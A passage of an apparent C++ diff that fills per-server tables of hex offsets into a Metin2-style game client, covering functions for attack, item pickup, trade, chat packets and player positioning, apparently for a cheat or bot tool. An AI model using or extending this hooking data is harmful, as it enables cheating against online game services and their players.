[100 ] [1 / 1] + pCPythonNetworkStreamSendSpecial = Globals::hEntryBaseAddress + 0x201f60; // [100 ] [1 / 1] + pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + 0x1fbf10; // [100 ] [1 / 1] + pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + 0x1FDAA0; + pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + 0x1eda90; // [100 ] [1 / 1] + pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0xe6e30; // [100 ] [1 / 1] + pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + 0x11fed0; // [100 ] [1 / 1] + pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + 0xf07f0; // [100 ] [1 / 1] + pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0xf0d30; // [100 ] [1 / 1] + pCPythonPlayerGetMainCharacterIndex = Globals::hEntryBaseAddress + 0xefaf0; // [100 ] [1 / 1] + pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0xf0350; // [100 ] [1 / 1] + pCPythonPlayerGetRace = Globals::hEntryBaseAddress + 0xefc60; // [100 ] [1 / 1] + pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + 0xf0310; // [100 ] [1 / 1] + pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0x1072f0; // [100 ] [1 / 1] + pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + 0xf2690; // [100 ] [1 / 1] + pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + 0xf2660; // [100 ] [1 / 1] + pCPythonPlayerNEW_Fishing = Globals::hEntryBaseAddress + 0x108030; // [100 ] [1 / 1] + pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + 0xef5a0; // [100 ] [1 / 1] + pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + 0x108FA0; + pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + 0x107350; // [100 ] [1 / 1] + pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + 0x107880; // [100 ] [1 / 1] + pCPythonPlayer__OnPressActor = Globals::hEntryBaseAddress + 0x1079e0; // [100 ] [1 / 1] + pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0x435bf0; // [100 ] [1 / 1] + pCResourceManagerGetResourcePointer = Globals::hEntryBaseAddress + 0x41E0D0; // [100 ] [1 / 1] 0x41E0D0 0x47eb30; + pCGraphicImageGetTexturePointer = Globals::hEntryBaseAddress + 0x448ae0; // [100 ] [1 / 1] + pPyCallClassMemberFunc = Globals::hEntryBaseAddress + 0x46c140; // [100 ] [1 / 1] + //pCPythonApplicationOnUIRender = Globals::hEntryBaseAddress + 0x414b50; // [100 ] [1 / 1] + pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + 0x433780; // [100 ] [1 / 1] + pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + 0x72df0; // [100 ] [1 / 1] + pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0x73410; // [100 ] [1 / 1] + pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + 0x550A0; + break; + } + + case ServerName::Ernidia: + { + Globals::pCActorInstanceTestActorCollision = Globals::hEntryBaseAddress + 0x1C87410; + Globals::pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + 0x1ade7e0; // [100 ] [1 / 1] + Globals::pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + 0x1ab5660; // [100 ] [1 / 1] + Globals::pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + 0x1ab56a0; // [100 ] [1 / 1] + Globals::pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + 0x1ab44c0; // [100 ] [1 / 1] + Globals::pCInstanceBaseGetInstanceVirtualNumber = Globals::hEntryBaseAddress + 0x1ab4570; // [100 ] [1 / 1] + Globals::pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + 0x1ab4480; // [100 ] [2 / 2] + Globals::pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + 0x1ad8e00; // [100 ] [1 / 1] + Globals::pCInstanceBaseIsDead = Globals::hEntryBaseAddress + 0x1ab5420; // [100 ] [1 / 1] + Globals::pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + 0x1ab5010; // [100 ] [1 / 1] + Globals::pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + 0x1ad8d40; // [100 ] [3 / 3] + Globals::pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + 0x1ad8620; // [100 ] [1 / 1] + Globals::pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + 0x1ad8cc0; // [100 ] [1 / 1] + Globals::pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0x1ace700; // [100 ] [1 / 1] + Globals::pCItemDataGetName = Globals::hEntryBaseAddress + 0x1c7c3f0; // [100 ] [2 / 2] + Globals::pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + 0x1c8c670; // [75 ] [3 / 4] + Globals::pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + 0x1adce20; // [100 ] [1 / 1] + Globals::pCNetworkStreamConnect = Globals::hEntryBaseAddress + 0x1c2ede0; // [100 ] [1 / 1] + Globals::pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + 0x1bcbb00; // [100 ] [1 / 1] + Globals::pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + 0x1bcaee0; // [100 ] [1 / 1] + Globals::pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + 0x1c2efb0; // [100 ] [1 / 1] + Globals::pCNetworkStreamPeek = Globals::hEntryBaseAddress + 0x1c2f020; // [100 ] [2 / 2] + Globals::pCNetworkStreamRecv = Globals::hEntryBaseAddress + 0x1c2f200; // [100 ] [1 / 1] + Globals::pCNetworkStreamSend = Globals::hEntryBaseAddress + 0x1c2f270; // [100 ] [1 / 1] + Globals::pCNetworkStreamSendSequence = Globals::hEntryBaseAddress + 0x1c2f2f0; // [100 ] [1 / 1] + Globals::pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + 0x1ca5e40; // [100 ] [1 / 1] + Globals::pCPythonApplicationProcess = Globals::hEntryBaseAddress + 0x1ba7190; // [100 ] [1 / 1] + Globals::pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + 0x1ba6a60; // [100 ] [1 / 1] + Globals::pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + 0x1ae8be0; // [100 ] [30 / 30] + Globals::pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0x1b5a820; // [100 ] [1 / 1] + Globals::pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + 0x1af6ef0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + 0x1BCB060; + Globals::pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + 0x1bcb280; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0x1bd55d0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendAttackPacket = Globals::hEntryBaseAddress + 0x1bd4cd0; // [100 ] [2 / 2] + Globals::pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + 0x1bd4d30; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + 0x1bd6e30; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + 0x1bcaa50; // [100 ] [2 / 2] + Globals::pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + 0x1bd51c0; // [100 ] [2 / 2] + Globals::pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + 0x1bd5060; // [100 ] [3 / 3] + Globals::pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + 0x1bd4fe0; // [100 ] [3 / 3] + Globals::pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + 0x1bd6460; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + 0x1bd64c0; // [100 ] [2 / 2] + Globals::pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + 0x1be8780; // [100 ] [2 / 2] + Globals::pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + 0x1be8800; // [100 ] [3 / 3] + Globals::pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + 0x1be89b0; // [100 ] [3 / 3] + Globals::pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + 0x1be8530; // [100 ] [3 / 3] + Globals::pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + 0x1bd54f0; // [100 ] [3 / 3] + Globals::pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + 0x1bd52f0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + 0x1bd5650; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + 0x1be8ba0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + 0x1be8b40; // [100 ] [2 / 2] + Globals::pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + 0x1be8cb0; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendSpecial = Globals::hEntryBaseAddress + 0x1bd4a20; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + 0x1bd4e90; // [100 ] [2 / 2] + Globals::pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + 0x1bd6f50; // [100 ] [1 / 1] + Globals::pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + 0x1bcd5e0; // [100 ] [14 / 14] + Globals::pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0x1b0dac0; // [100 ] [4 / 4] + Globals::pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + 0x1b3a550; // [100 ] [2 / 2] + Globals::pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + 0x1b133c0; // [100 ] [7 / 7] + Globals::pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0x1b13680; // [100 ] [3 / 3] + Globals::pCPythonPlayerGetMainCharacterIndex = Globals::hEntryBaseAddress + 0x1b12a40; // [100 ] [2 / 2] + Globals::pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0x1b12c70; // [100 ] [3 / 3] + Globals::pCPythonPlayerGetRace = Globals::hEntryBaseAddress + 0x1b12cd0; // [100 ] [2 / 2] + Globals::pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + 0x1b12ee0; // [100 ] [4 / 4] + Globals::pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0x1b1b350; // [100 ] [1 / 1] + Globals::pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + 0x1b14450; // [100 ] [1 / 1] + Globals::pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + 0x1b14480; // [100 ] [2 / 2] + Globals::pCPythonPlayerNEW_Fishing = Globals::hEntryBaseAddress + 0x1b1ad50; // [100 ] [1 / 1] + Globals::pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + 0x1b12380; // [100 ] [14 / 14] + Globals::pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + 0x1b1c360; // [100 ] [2 / 2] + Globals::pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + 0x1b1b0c0; // [100 ] [3 / 3] + Globals::pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + 0x1b1b630; // [100 ] [1 / 1] + Globals::pCPythonPlayer__OnPressActor = Globals::hEntryBaseAddress + 0x1b1b440; // [100 ] [1 / 1] + Globals::pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0x1c38cc0; // [100 ] [16 / 16] + Globals::pCResourceManagerGetResourcePointer = Globals::hEntryBaseAddress + 0x1c32520; // [100 ] [22 / 22] + Globals::pCGraphicImageGetTexturePointer = Globals::hEntryBaseAddress + 0x1c38a70; // [100 ] [3 / 3] + Globals::pPyCallClassMemberFunc = Globals::hEntryBaseAddress + 0x1cdd2d0; // [100 ] [1 / 1] + Globals::pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + 0x1c2f830; // [100 ] [1 / 1] + Globals::pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + 0x1ad8170; // [100 ] [1 / 1] + Globals::pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0x1ad8e40; // [100 ] [1 / 1] + Globals::pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + 0x1ab8640; // [100 ] [1 / 1] + + break; + } + + case ServerName::ORIGINS2: + { + pCActorInstanceTestActorCollision = Globals::hEntryBaseAddress + 0x41cb10; // [100 ] [1 / 1] + pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + 0x19c750; // [100 ] [1 / 1] + pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + 0x41c6d0; // [100 ] [1 / 1] + pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + 0x174c10; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + 0x173910; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceVirtualNumber = Globals::hEntryBaseAddress + 0x173a10; // [100 ] [1 / 1] + pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + 0x1738b0; // [100 ] [1 / 1] + pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + 0x196190; // [100 ] [1 / 1] + pCInstanceBaseIsDead = Globals::hEntryBaseAddress + 0x174960; // [100 ] [1 / 1] + pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + 0x174510; // [100 ] [1 / 1] + pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + 0x1960c0; // [100 ] [1 / 1] + pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + 0x1954e0; // [100 ] [1 / 1] + pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + 0x196050; // [100 ] [1 / 1] + pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0x188fb0; // [100 ] [1 / 1] + pCItemDataGetName = Globals::hEntryBaseAddress + 0x40f3e0; // [100 ] [1 / 1] + pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + 0x4238a0; // [100 ] [1 / 1] + pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + 0x19a240; // [100 ] [1 / 1] + pCNetworkStreamConnect = Globals::hEntryBaseAddress + 0x3b1b60; // [100 ] [1 / 1] + pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + 0x319f80; // [100 ] [1 / 1] + pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + 0x319210; // [100 ] [1 / 1] + pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + 0x3b1df0; // [100 ] [1 / 1] + pCNetworkStreamPeek = Globals::hEntryBaseAddress + 0x3b1e60; // [100 ] [2 / 2] + pCNetworkStreamRecv = Globals::hEntryBaseAddress + 0x3b20c0; // [100 ] [1 / 1] + pCNetworkStreamSend = Globals::hEntryBaseAddress + 0x3b2140; // [100 ] [1 / 1] + pCNetworkStreamSendSequence = Globals::hEntryBaseAddress + 0x3B21D0; + pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + 0x439bc0; // [100 ] [1 / 1] + pCPythonApplicationProcess = Globals::hEntryBaseAddress + 0x2c8ab0; // [100 ] [1 / 1] + pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + 0x2c8850; // [100 ] [1 / 1] + pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + 0x1aae40; // [100 ] [1 / 1] + pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0x245d00; // [100 ] [1 / 1] + pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + 0x1c4620; // [100 ] [1 / 1] + pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + 0x3193a0; // [100 ] [1 / 1] + pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + 0x319630; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0x32ac70; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAttackPacket = Globals::hEntryBaseAddress + 0x32a3e0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + 0x32a440; // [100 ] [1 / 1] + pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + 0x32d380; // [100 ] [1 / 1] + pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + 0x66ae; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + 0x32a8b0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + 0x32a790; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + 0x32a700; // [100 ] [1 / 1] + pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + 0x32bab0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + 0x32BB10; + pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + 0x18787; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + 0x3441b0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + 0x3443b0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + 0x343df0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + 0x32ab90; // [100 ] [1 / 1] + pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + 0x32a990; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + 0x32acf0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + 0x344600; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + 0x3445a0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + 0x344730; + pCPythonNetworkStreamSendSpecial = Globals::hEntryBaseAddress + 0x329eb0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + 0x32a5a0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + 0x32d540; // [100 ] [1 / 1] + pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + 0x31cbf0; // [100 ] [1 / 1] + pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0x1e3340; // [100 ] [1 / 1] + pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + 0x215bf0; // [100 ] [1 / 1] + pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + 0x1eef00; // [100 ] [1 / 1] + pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0x1ef070; // [100 ] [1 / 1] + pCPythonPlayerGetMainCharacterIndex = Globals::hEntryBaseAddress + 0x1ee2c0; // [100 ] [1 / 1] + pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0x1738b0; // [100 ] [1 / 1] + pCPythonPlayerGetRace = Globals::hEntryBaseAddress + 0x426190; // [100 ] [1 / 1] + pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + 0x1ee850; // [100 ] [1 / 1] + pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0x2047a0; // [100 ] [1 / 1] + pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + 0x1f02a0; // [100 ] [1 / 1] + pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + 0x1f02d0; // [100 ] [1 / 1] + pCPythonPlayerNEW_Fishing = Globals::hEntryBaseAddress + 0x204080; + pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + 0x1ed760; // [100 ] [1 / 1] + pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + 0x205e60; // [100 ] [1 / 1] + pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + 0x204470; // [100 ] [1 / 1] + pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + 0x204a80; // [100 ] [1 / 1] + pCPythonPlayer__OnPressActor = Globals::hEntryBaseAddress + 0x204880; // [100 ] [1 / 1] + pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0x3b63f0; // [100 ] [1 / 1] + pCResourceManagerGetResourcePointer = Globals::hEntryBaseAddress + 0x3a37b0; // [100 ] [1 / 1] + pCGraphicImageGetTexturePointer = Globals::hEntryBaseAddress + 0x3cb040; // [100 ] [1 / 1] + pPyCallClassMemberFunc = Globals::hEntryBaseAddress + 0x486c20; // [100 ] [1 / 1] + pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + 0x3b2920; // [100 ] [1 / 1] + pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + 0x194f20; // [100 ] [1 / 1] + pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0x1961d0; // [100 ] [1 / 1] + pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + 0x178ac0; // [100 ] [1 / 1] + break; + } + case ServerName::CALLIOPE2: + { + pCActorInstanceTestActorCollision = Globals::hEntryBaseAddress + 0x17b9d0; // [100 ] [1 / 1] + pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + 0x854D0; + pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + 0x17b540; // [100 ] [1 / 1] + pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + 0x69dd0; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + 0x6e070; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceVirtualNumber = Globals::hEntryBaseAddress + 0x6e090; // [100 ] [1 / 1] + pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + 0x6d210; // [100 ] [1 / 1] + pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + 0x76120; // [100 ] [1 / 1] + pCInstanceBaseIsDead = Globals::hEntryBaseAddress + 0x6b990; // [100 ] [1 / 1] + pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + 0x6b580; // [100 ] [1 / 1] + pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + 0x76040; // [100 ] [1 / 1] + pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + 0x75cc0; // [100 ] [1 / 1] + pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + 0x75fe0; // [100 ] [1 / 1] + pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0x73100; // [100 ] [1 / 1] + pCItemDataGetName = Globals::hEntryBaseAddress + 0x17f390; // [100 ] [1 / 1] + pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + 0x17d450; // [100 ] [1 / 1] + pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + 0x85400; // [100 ] [1 / 1] + pCNetworkStreamConnect = Globals::hEntryBaseAddress + 0x12f860; // [100 ] [1 / 1] + pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + 0xad870; // [100 ] [1 / 1] + pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + 0xad090; // [100 ] [1 / 1] + pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + 0x12fa30; // [100 ] [1 / 1] + pCNetworkStreamPeek = Globals::hEntryBaseAddress + 0x12fa70; // [100 ] [1 / 1] + pCNetworkStreamRecv = Globals::hEntryBaseAddress + 0x12fc70; // [100 ] [2 / 2] + pCNetworkStreamSend = Globals::hEntryBaseAddress + 0x12fcb0; // [100 ] [1 / 1] + pCNetworkStreamSendSequence = Globals::hEntryBaseAddress + 0x69d20; // [100 ] [1 / 1] + pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + 0x191e00; // [100 ] [1 / 1] + pCPythonApplicationProcess = Globals::hEntryBaseAddress + 0x7c450; // [100 ] [1 / 1] + pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + 0x7bff0; // [100 ] [1 / 1] + pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + 0x88b50; // [100 ] [21 / 21] + pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0x8f870; // [100 ] [1 / 1] + pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + 0x95b30; // [100 ] [1 / 1] + pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + 0xad180; // [100 ] [1 / 1] + pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + 0x6d2a0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0xb74b0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAttackPacket = Globals::hEntryBaseAddress + 0xb7010; // [100 ] [1 / 1] + pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + 0xb45e0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + 0xb47b0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + 0xad960; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + 0xb6560; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + 0xb64e0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + 0xb63e0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + 0xb9670; // [100 ] [1 / 1] + pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + 0xb96d0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + 0xbd7c0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + 0xbdb20; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + 0xbdd40; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + 0xbd600; // [100 ] [1 / 1] + pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + 0xb55f0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + 0xb67f0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + 0xb73b0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + 0xbd420; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + 0xbd3d0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + 0xbd520; // [100 ] [1 / 1] + pCPythonNetworkStreamSendSpecial = Globals::hEntryBaseAddress + 0xb70a0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + 0xb4740; // [100 ] [1 / 1] + pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + 0xb5120; // [100 ] [1 / 1] + pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + 0xae440; // [100 ] [1 / 1] + pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0xc0a40; // [82 ] [14 / 17] + pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + 0xd08d0; // [100 ] [1 / 1] + pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + 0xC2B30; + pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0xc3060; // [100 ] [1 / 1] + pCPythonPlayerGetMainCharacterIndex = Globals::hEntryBaseAddress + 0xc20d0; // [100 ] [1 / 1] + pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0xc25d0; // [100 ] [2 / 2] + pCPythonPlayerGetRace = Globals::hEntryBaseAddress + 0x9ab30; // [100 ] [1 / 1] + pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + 0xc25a0; // [100 ] [1 / 1] + pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0xc6f20; // [100 ] [1 / 1] + pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + 0xc3e70; // [100 ] [1 / 1] + pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + 0xc3e50; // [100 